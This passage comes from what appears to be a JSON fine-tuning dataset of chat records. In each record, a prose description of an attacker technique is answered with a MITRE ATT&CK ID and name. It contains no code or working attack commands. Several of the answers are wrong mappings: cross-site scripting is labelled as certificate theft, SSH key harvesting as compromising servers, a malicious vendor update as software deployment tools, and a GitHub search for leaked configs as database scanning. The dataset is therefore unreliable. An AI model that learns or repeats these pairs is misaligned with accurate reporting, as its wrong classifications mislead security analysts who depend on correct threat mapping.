                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in a VPN appliance to bypass authentication and establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employs a custom tool to compress and upload exfiltrated logs to a malicious IBM Cloud Object Storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the two-factor authentication flow by intercepting and rewriting the verification code."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects itself into the KernelCallbackTable, altering callback routines to achieve persistence and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary scripts the at command to execute a ransomware encryption routine at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the \"netsh interface ip show config\" command to gather the victim's IP settings."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Performing Active Directory LDAP enumeration to retrieve user, group, and computer objects."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a disguised USB device in a server rack to collect and export log files."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor searches GitHub for leaked configuration files that reveal database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a payload by configuring the \"Debugger\" value under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<target.exe> to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a compromised SharePoint tenant to download employee performance reviews and sell them on the dark web."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests details of current outbound and inbound connections to map the victim's network activity."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a Python web shell onto the compromised Apache server, allowing the attacker to run arbitrary commands via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvests the JSESSIONID cookie from an insecure connection and uses it to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls EnumDeviceDrivers and GetDeviceDriverBaseName to list all kernel-mode drivers on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan updates its C2 endpoint by resolving a domain listed in an external JSON configuration file."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a macro-laden document that disables security alerts upon execution."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue Outlook add‑in is registered in the registry, executing payload each time Outlook is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses LoadLibrary to inject a custom network provider DLL that tampers with Kerberos tickets during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script pulls credentials from the securityd memory of an infected Mac."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team conducts web searches to identify the target's owned sites, extracting contact information and metadata."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat adds a malicious container image to a private registry and later pulls it to infect hosts."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a PowerShell script that recursively removed all .log files from the C:\\Windows\\Temp directory to erase evidence of the compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of RDP's clipboard redirection, the adversary captures session tokens and assumes control of the remote session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a spear‑phishing email with a malicious attachment that, when opened, drops a PowerShell backdoor on the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests SSH keys from a compromised build server to access other systems in the network."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a directory traversal vulnerability in a web service to upload a web shell and execute arbitrary commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code extracts Kerberos tickets from LSASS memory and employs them to maintain persistence on the network."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated credential stuffing tool sends repeated authentication requests to an email service using a large dataset of stolen usernames and passwords harvested from multiple breaches."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the Windows Registry for recent documents accessed by the user."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker stages a Trojan by placing the malware binary on a publicly accessible FTP server for download by infected machines."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor writes data to a fake REST endpoint, which the operator later reads to issue new commands, exemplifying a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performed an SNMP MIB dump via snmpbulkwalk, pulling configuration data from network switches for later use."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs AI‑generated synthetic voices to mimic a CEO and asks staff to transfer funds."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator creates a scheduled task that runs under a newly created service account to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the DMARC policy of the victim's domain to allow spoofed emails to bypass authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the system's firewall rules to allow outbound traffic on uncommon ports."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider obtained a valid code signing certificate from the internal PKI and used it to sign a backdoor executable, tricking endpoint protection into allowing execution."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a computer's BIOS is delivered via a compromised vendor support utility, installing a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spread through removable drives, forming a botnet of infected workstations for insider data theft."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clone open-source Bitbucket projects and search through the commit history for hard‑coded database passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducted a brute‑force attack against a publicly exposed SSH service, eventually obtaining valid login credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was introduced via a malicious update to a third‑party application, using the vendor's update mechanism."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a signed but malicious IIS extension to bypass security controls and establish a foothold on the target web server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installed a malicious plugin into the company's WordPress site, providing a foothold for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party library logs cookie values to a file that is later accessed by the attacker to forge credentials."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor copies collected system logs into a hidden staging path on the endpoint for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious Docker container that runs a script to programmatically log in to a target's TikTok account using known credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload encrypts all accessible files and adds a .encrypted suffix, then provides instructions for payment via Tor."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion extracts VPN client private keys from a victim's machine to gain persistent network access."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder places a malicious DLL on a compromised file share, allowing later execution on client machines that access it."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing a service principal's access token, the attacker bypasses normal authentication and issues commands to the Azure API."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware encrypts the organization's backup tapes, rendering disaster recovery impossible."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used the Azure REST API to create and run custom scripts in Azure Automation, achieving remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest valid web session cookies from a compromised browser's cookie store and inject them into their own browser to hijack the victim's authenticated session."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen session token, the threat actor bypasses the login process without needing the user's credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a cross-site scripting (XSS) attack, injecting malicious code into websites to steal user data or take control of user sessions."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware traverses the user's Mail app folder to locate and steal email attachments and bodies."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit NAT traversal techniques by leveraging STUN/TURN services to bypass firewall restrictions and communicate with compromised hosts behind a network address translation boundary."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that formats all attached USB drives on infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers acquire technical manuals for a critical infrastructure component through a paid consultancy service."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script changes the 'Start' value and permissions of a service in the registry to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware hooks the Windows message loop to intercept WM_KEYDOWN and WM_LBUTTONDOWN messages."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses ‘hostname’ to retrieve the system’s host name for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a malicious link via a LinkedIn message, claiming to be a job application form that captures login details."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker engineers a remote code execution exploit targeting a known flaw in a database management system."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers domain registration details, including expiration dates and name server list, to plan further attacks."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes copying files to a local cache directory to be exfiltrated later."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a PowerShell script that invokes 7‑Zip to compress collected logs into a zip file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exfiltrates data by embedding it in JPEG EXIF metadata and uploading the images to a public image host."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence, the intruder modifies the HKLM\\Software\\Classes\\CLSID entries to point a trusted COM class to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used stolen credentials to query IBM Cloud Secrets Manager and harvest API tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program abuses a kernel memory corruption bug to gain kernel-level execution and thus full system control."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion inserts a hidden LaunchAgent plist in /Library/LaunchAgents that runs a script with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the firmware update with a version that disables secure boot, reducing the device's integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use DuckDuckGo to find publicly posted server configuration files that reveal internal IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
